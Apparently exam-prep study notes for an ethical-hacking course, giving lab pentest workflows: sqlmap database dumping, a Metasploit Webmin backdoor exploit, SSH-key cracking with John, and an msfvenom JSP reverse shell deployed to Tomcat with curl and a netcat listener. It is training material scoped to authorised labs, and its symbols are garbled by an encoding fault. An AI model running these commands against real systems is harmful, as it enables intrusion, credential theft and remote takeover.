π Full Document Output
Testing Web App Vulnerability to SQLi on the login page
sqlmap β a popular pentest tool that exploits SQL Injection (SQLi) vulnerabilities in web applications and database servers.
| Flag | Purpose |
-r | Feed sqlmap a raw HTTP request (cookie, headers, injection points) saved from Burp Suite |
--batch | Auto-choose default options, skip Yes/No prompts |
--dbs | Enumerate and list all database names |
--technique=T | Strictly use time-delay to extract DB names (skip other checks) |
-D | Enumerate the selected database |
-T | Enumerate the selected table |
--dump-all | Dump all records of the selected table |

Figure 1 β SQLmap workflow: list DBs, select DB, dump table
Capturing HTTP Request (req.file) with Burp Suite Intercept
Ensure Burp Suite and browser proxy settings are correct. See the Burp Intercept guide (shared 10-July, Teams).

Figure 2 β Intercepting the login request in Burp and saving it as req.file
Refresher on Metasploit
Metasploit: a framework that organizes thousands of exploits, pairs them with payloads, and gives a consistent interface to configure/launch/manage attacks.
nmap to find OS/software/services β include -p- (all 65,535 ports).
msfconsole β search webmin

Figure 3 β Metasploit search webmin results
use 10 (webmin backdoor payload)
set rhosts <target_IP>
set lhost <attacker_IP>
set srvhost <attacker_IP>
run / exploit β meterpreter >
meterpreter > shell
python3 -c 'import pty;pty.spawn("/bin/bash")' β real PTY
π‘ srvhost: most exploits deliver directly; some non-direct methods run a temporary mini HTTP server and make the target download+execute the payload from it.
Revision: Cracking SSH key into Hash key for John-the-Ripper
Key Linux commands: cd, ls -l, cat, find / -name <file> 2>/dev/null
- Locate & copy the SSH key.
mousepad sshkey (save as sshkey).

Figure 5 β Opening sshkey in Mousepad (full RSA key incl. headers)
- Copy hash incl. RSA BEGIN and END header, paste & save.

Figure 4 β The encrypted SSH private key (RSA BEGIN/END header shown)
python /usr/share/john/ssh2john.py sshkey > hashkey
gunzip rockyou.txt.gz (if compressed) β john --wordlist=... hashkey

Figure 6 β Locating, decompressing (gunzip), and using rockyou.txt with John the Ripper
chmod 600 sshkey
ssh -i sshkey user_name@target_IP
msfvenom JSP Reverse Shell

Figure 7 β Generating, deploying, and triggering the JSP reverse shell on Tomcat
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATK_IP LPORT=4444 -f war > revshell.war
π Document by Section
1 Β· SQL Injection with sqlmap
sqlmap exploits SQLi on web apps/database servers.
sqlmap -r req.file --batch --dbs --technique=T
sqlmap -r req.file -D <db> --tables
sqlmap -r req.file -D <db> -T <table> --dump-all
| Flag | Meaning |
-r | raw HTTP request from Burp |
--batch | auto default answers |
--dbs | list databases |
--technique=T | time-based blind only |
-D / -T | select db / table |
β‘ Use --technique=T to skip wastefully slow checks and extract DB names quickly.
2 Β· Capturing the HTTP Request (Burp)
Configure Burp + browser proxy, intercept the login request, and save it as req.file to feed sqlmap.
Refer to the Burp Intercept guide (shared 10-July, Teams).
3 Β· Metasploit & Webmin Backdoor
1 Scan target: nmap -p- <target> (all 65,535 ports)
2 msfconsole β search webmin
3 use 10 (webmin backdoor exploit)
4-6 set rhosts Β· set lhost Β· set srvhost
7 run / exploit β meterpreter >
8 shell β target OS prompt
9 python3 -c 'import pty;pty.spawn("/bin/bash")' β real PTY
β srvhost: some exploit methods spin a mini HTTP server on the attacker so the target downloads & runs the payload. Check show options.
4 Β· Meterpreter PTY Explanation
python3 -c 'import pty;pty.spawn("/bin/bash")'
| Part | What it does |
python3 | invoke Python 3 |
-c | execute following string |
import pty | load pseudo-terminal module |
pty.spawn("/bin/bash") | spawn bash on a new PTY |
Makes the target treat the connection like a real SSH/local terminal β shows bob@KaliLinux.
5 Β· Locating flags / usernames / ssh keys
find / -name user_name 2>/dev/null
find / -name flag.txt 2>/dev/null
6 Β· Cracking SSH key (John the Ripper)
1 Find & copy the SSH key
2 mousepad sshkey
3 Paste full key incl. RSA BEGIN/END, save
4 python /usr/share/john/ssh2john.py sshkey > hashkey
5 gunzip rockyou.txt.gz (if needed) β john --wordlist=... hashkey
6 chmod 600 sshkey
7 ssh -i sshkey user@target
7 Β· msfvenom JSP Reverse Shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATK_IP LPORT=4444 -f war > revshell.war
Deliver curl -v -u user:pass -T revshell.war http://target:8080/manager/text/deploy?path=/revshell.war
Listen nc -lvp 4444
Trigger visit http://target:port/revshell.war
π§ Extra Notes & Cheatsheet
β‘ Command Cheatsheet (one-liners)
| Tool | Command |
| sqlmap list DBs | sqlmap -r req --batch --dbs --technique=T |
| sqlmap tables | sqlmap -r req -D db --tables |
| sqlmap dump | sqlmap -r req -D db -T tbl --dump-all |
| Metasploit search/use/set/run | search Β· use Β· set Β· run |
| Target shell | meterpreter > shell |
| Real PTY | python3 -c 'import pty;pty.spawn("/bin/bash")' |
| ssh2john | python /usr/share/john/ssh2john.py sshkey > hashkey |
| John crack | john --wordlist=/usr/share/wordlists/rockyou.txt hashkey |
| Unzip rockyou | gunzip /usr/share/wordlists/rockyou.txt.gz |
| Fix perms | chmod 600 sshkey |
| Shell in | ssh -i sshkey user@target |
| Find flag | find / -name flag.txt 2>/dev/null |
| msfvenom jsp | msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 -f war > revshell.war |
π Linux vs Windows Commands
| Task | Linux | Windows (cmd) |
| Search | find / -name flag.txt 2>/dev/null | dir c:\flag.txt /s /b 2>nul |
| Who am I | whoami | whoami |
| View file | cat file1.txt | type file1.txt |
| List files | ls -la | dir /a |
| Show folder | pwd | cd |
π§ Key Concepts Recap
- srvhost β only needed for non-direct payload delivery (mini HTTP server trick).
- RSA BEGIN/END header β MUST be kept when copying the SSH key for ssh2john.
- Meterpreter shell β real terminal β spawn a PTY with python3 to get interactive bash.
- rockyou.txt β classic wordlist; gunzip if compressed before running john.
- cw war payload β JSP reverse TCP shell deploys to Tomcat/WildFly/WebLogic.
- nmap -p- β scan all ports first to discover the target's services.
π§° Extra Basic Commands (handy for labs)
| Task | Command |
| Show current user | whoami |
| Show working directory | pwd |
| List files (details) | ls -la |
| Change directory | cd /path |
| Go home | cd ~ |
| View file content | cat file.txt |
| Edit file | nano file.txt / vim file.txt |
| Find files by name | find / -name <name> 2>/dev/null |
| Search inside files | grep -r "text" /path |
| Copy file | cp source dest |
| Move/rename | mv source dest |
| Delete file | rm file (beware!) |
| Compress | tar -czvf out.tar.gz dir |
| Extract | tar -xzvf file.tar.gz |
| Zip / unzip | zip -r out.zip dir / unzip file.zip |
| Gzip / gunzip | gzip file / gunzip file.gz |
| Network: ping | ping <host> |
| Network: open ports | ss -tulpn |
| Network: trace route | traceroute <host> |
| Process list | ps aux |
| Real-time processes | top / htop |
| File permissions (chmod) | chmod 600 file |
| Change owner | chown user:group file |
π‘ 2>/dev/null hides errors so output is cleaner β pairs well with find / grep.
π Helpful Exam-Prep & Extra Knowledge
π Exploitation Workflow (memorize the order)
1Recon β nmap -p- <target> to discover open ports & services
2Identify β match service vs known exploits (search Metasploit / CVE)
3Exploit β run the module, deliver the payload
4Access β shell / Meterpreter β upgrade to PTY
5Post-exploit β find flags, usernames, ssh keys, privilege escalation
6Report β document each finding + CVSS
π‘ Quick Concepts
- Reverse shell vs bind shell: reverse = target connects OUT to attacker (LHOST/LPORT); bind = attacker connects INTO target's open port. Reverse is more common (bypasses firewalls).
- WHY upgrade to PTY: a plain
shell has no job control / TTY; many commands (su, sudo, interactive tools) fail without a real terminal.
- LHOST vs srvhost:
lhost = where the reverse shell connects back; srvhost = the mini HTTP server IP from which the target downloads the payload (only for non-direct delivery).
- Metasploit
set vs use: use selects the module; set fills its options (rhosts/lhost/lport).
π SSH Key Resolution Order (exam favorite)
- Read the key β keep BEGIN/END lines
ssh2john key β hash
- Convert if encrypted:
chmod 600 + ssh-keygen -p to remove passphrase if needed
- Crack hash with john + rockyou
- Use:
ssh -i key user@target
π§© SQLi β Data Exfiltration Flow
1Capture request in Burp β req.file
2--dbs find DBs β -D db --tables β -T tbl --dump-all
3Look for credentials / users tables β hashes β crack with rockyou
π© Common Flag-Hunting Tips
- Flags often live in
/root, /home/<user>, /var/www, or as flag.txt / user.txt / root.txt
find / -name "*.txt" 2>/dev/null | grep -i flag
- Check
sudo -l for privilege-escalation paths
- Watch for world-readable ssh keys (
chmod 600 before use)
ποΈ Cheatsheet Quick-Ref
| Task | Command |
| Full port scan | nmap -p- -T4 -A <target> |
| Spawn bash TTY | python3 -c 'import pty;pty.spawn("/bin/bash")' |
| Exit interactive shell | Ctrl+D or exit |
| Netcat listener | nc -lvnp 4444 |
| Upload file to target | curl -T file http://target/upload |
| Download from target | wget http://ip/file / curl -O |
π Study Tips
Practice each tool in a lab (TryHackMe / HTB) β memorize the flag meanings, not just commands.
For CVSS-style reasoning, justify every flag choice the same way the brief expects (why AC, AV, etc.).
πͺ Step-by-Step Pentest Walkthrough
A linear, real-lab flow covering every phase β with the commands to run at each step. Work top-to-bottom for a full assessment.
Phase 1 Β· Recon (Information Gathering)
1 Ping sweep / host discovery
nmap -sn 10.10.1.0/24
2 Full port scan (all 65,535 TCP ports)
nmap -p- -T4 <target>
3 Version & OS detection
nmap -sV -sC -A -p- <target>
4 Note every service: web, ssh, mysql, tomcat, etc.
Phase 2 Β· Enumeration (Dig into each service)
1 Web dirs & files
gobuster dir -u http://<target> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
2 Web tech / framework (wappalyzer or whatweb)
whatweb http://<target>
3 Hidden subdomains / vhosts
gobuster vhost -u http://<target> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
4 Banner grab SSH / services
nc -nv <target> 22
5 Check default pages, source code, robots.txt, login portals
Phase 3 Β· Vulnerability Discovery
1 Match services vs CVE database / searchsploit
searchsploit webmin
2 Check known exploit modules in msf
msfconsole β search webmin
3 Manual checks: SQLi on login, XSS on inputs, default creds
4 Weak / default credentials (Tomcat manager, MySQL root, etc.)
Phase 4 Β· Exploitation (Gain a foothold)
1 Use the best module
use exploit/linux/http/webmin_backdoor
2 Fill options
set rhosts <target> Β· set lhost <attacker> Β· set srvhost <attacker>
3 Run it
run / exploit β meterpreter >
4 Or craft a custom payload: JSP war reverse shell via msfvenom + deploy to Tomcat
Phase 5 Β· Post-Exploitation
1 Get a shell
meterpreter > shell
2 Upgrade to interactive bash (PTY)
python3 -c 'import pty;pty.spawn("/bin/bash")'
3 Who am I / privileges
whoami Β· id Β· sudo -l
4 Hunt for flags / usernames / ssh keys
find / -name flag.txt 2>/dev/null Β· find / -name "*.txt" 2>/dev/null
5 Credential hunting
cat /etc/passwd Β· config files Β· db dumps
Phase 6 Β· Privilege Escalation
1 Sudo rights
sudo -l
2 SUID binaries
find / -perm -4000 -type f 2>/dev/null
3 Writable files / cron jobs
find / -writable -type f 2>/dev/null | head Β· cat /etc/crontab
4 Kernel exploit (searchsploit) if outdated kernel
5 SSH key access (find + crack with john/rockyou)
python /usr/share/john/ssh2john.py sshkey > hashkey β john --wordlist=... hashkey
Phase 7 Β· Crack Hashes β Lateral Move / Root
1 Collect hashes (shadow file, dumped sqlmap output, configs)
2 Identify hash type β crack with rockyou / hashcat
3 Reuse credential: ssh user@target or the web panel
4 Repeat until you reach root / root.txt (HTB-style)
Phase 8 Β· Report (if assessed)
1 Record every finding: what, where, evidence (screenshot)
2 Score each with CVSS v3.1 (AV/AC/PR/UI/S/C/I/A)
3 Add remediation: patch, block port, disable service
4 Executive summary for non-technical readers
π― EHIP Exam Playbook Β· Sample-Based Pointers
Built from the six assigned sample patterns in the EHIP case-study presentation. Use only on the authorised assessment/lab target, and document every command, result and screenshot as you go.
Before Touching Anything Β· 60-Second Setup
1Record the target and your Kali IP: ip a Β· keep your listener IP/port ready.
2Start a notes log: target, ports, credentials tried, URLs, evidence and flags. This prevents repeating work under exam pressure.
3Recon first, exploit second: scan all ports, then enumerate only the services actually found.
4Before triggering any callback: have the listener running and verify the configured callback IP is your Kali address.
Sample 1 Β· SQLi Login β Directory Discovery β Upload Path
Keywords from the brief: SQLi bypass login, DirB/GoBuster, PHP reverse-shell upload, Netcat.
1Map the web app: inspect login, upload and admin pages; check page source, robots.txt and error messages.
2Find hidden paths: gobuster dir -u http://<target>/ -w <wordlist>. Note upload directories and the URL that executes uploaded files.
3Test authentication only within the lab: determine whether the login behaviour changes, then record the exact request/response evidence.
4For an authorised upload exercise: check permitted extension, upload location and execution URL. Configure the provided class payload with your listener details before upload.
5Listener first: nc -lvnp <port> β then trigger the uploaded file through its web URL.
6After access: whoami Β· id Β· pwd Β· document the proof/flag path.
Sample 2 Β· LFI β Credential Testing β Sudo/GTFOBins
Keywords from the brief: Local File Inclusion (LFI), Hydra, GTFOBins, privilege escalation.
1Identify file-loading parameters: URLs such as ?page=, ?file= or template selectors are candidates. Establish normal behaviour first.
2Validate the finding safely in the assigned lab: use harmless readable-file checks required by the exercise; capture request, response and affected parameter.
3Credential audit only against the authorised service: write down protocol, username list, password list and error/success behaviour before using a rate-limited tool.
4Once logged in: run sudo -l. The executable and allowed user are the important facts to record.
5Use GTFOBins as a lookup aid: search the exact permitted executable, then select the technique that matches the displayed sudo rule β do not assume every GTFOBins entry applies.
Sample 3 Β· Webmin RCE / Command Injection Workflow
Keywords from the brief: exploit-db, Webmin 1.920, CVE-2019-15107, Burp Suite/Metasploit, Netcat, tar.
1Confirm the service/version: nmap -sV -p <port> <target>. Match the discovered version to the exercise/CVE; never rely on the product name alone.
2Research before action: read the Exploit-DB/CVE prerequisites, affected versions, endpoint, HTTP method and vulnerable parameter.
3Use Burp methodically: intercept a known-good request, save it, then change only one variable at a time. Confirm GET vs POST and URL encoding.
4Callback sequence: listener ready β modify the authorised lab request β forward once β observe listener and web response.
5Archive handling: inspect before extracting: tar -tf filename.tar; extract when needed: tar -xvf filename.tar.
Sample 4 Β· FTP + Hydra + Privilege Escalation
Keywords from the brief: Hydra, FTP get, GTFOBins.
1Enumerate FTP: confirm version and anonymous-login behaviour; note whether the server permits read, write or both.
2After authorised login: use ls, pwd, then get <filename> for useful files. Keep original filenames and hashes for evidence.
3Credentials are leads, not guaranteed root: try them only on approved services; once inside Linux, assess sudo -l and the user context.
4Exam habit: every FTP file should get a disposition: credential, config, clue, flag, or not relevant.
Samples 5 & 6 Β· Exploit-DB Source β Compile β Execute (Lab Only)
Keywords from the brief: Exploit-DB, gcc, Hydra, Gobuster, hexedit, privilege escalation.
1Read the exploit source first: check affected OS/kernel/app version, architecture, dependencies, required path and intended privilege level.
2Verify compatibility: uname -a Β· uname -m Β· application version. A mismatch is a reason to stop and research, not to run it anyway.
3Compile in the authorised lab: gcc exploit.c -o exploitfile. Read compiler errors; they usually reveal missing libraries or wrong source assumptions.
4Set execution permission only for the reviewed lab binary: chmod +x exploitfile. Re-check ownership and path before execution.
5Image/file clues: if the scenario points to a JPEG or similar, use a hex viewer to inspect signatures, appended data and embedded strings; preserve the original file before editing.
Exam Decision Tree
| You find⦠| Do next |
| Open HTTP/HTTPS | Browse manually β source/robots β Gobuster β identify forms, upload points and parameters. |
| Known product/version | Confirm with service scan β research CVE/Exploit-DB prerequisites β choose manual/Burp/Metasploit route. |
| FTP files or credentials | Download and inspect β map where credentials can be reused in the authorised target. |
| Shell but not root | id β sudo -l β enumerate SUID/cron/writable paths β check exact GTFOBins match. |
| Exploit source code | Read requirements β verify OS/version/architecture β compile β interpret errors β execute only in the assigned lab. |
| Potential callback | Listener first β confirm Kali IP/port β trigger once β capture proof of result. |
Final Submission Checklist
- Target/IP, timestamp and scope are recorded.
- Every finding has reproducible steps, evidence and a clear impact.
- Commands include the meaningful output, not only the command line.
- Credentials, payloads and tools are attributed to the authorised lab scenario.
- Privilege level is demonstrated with
id/whoami, not assumed.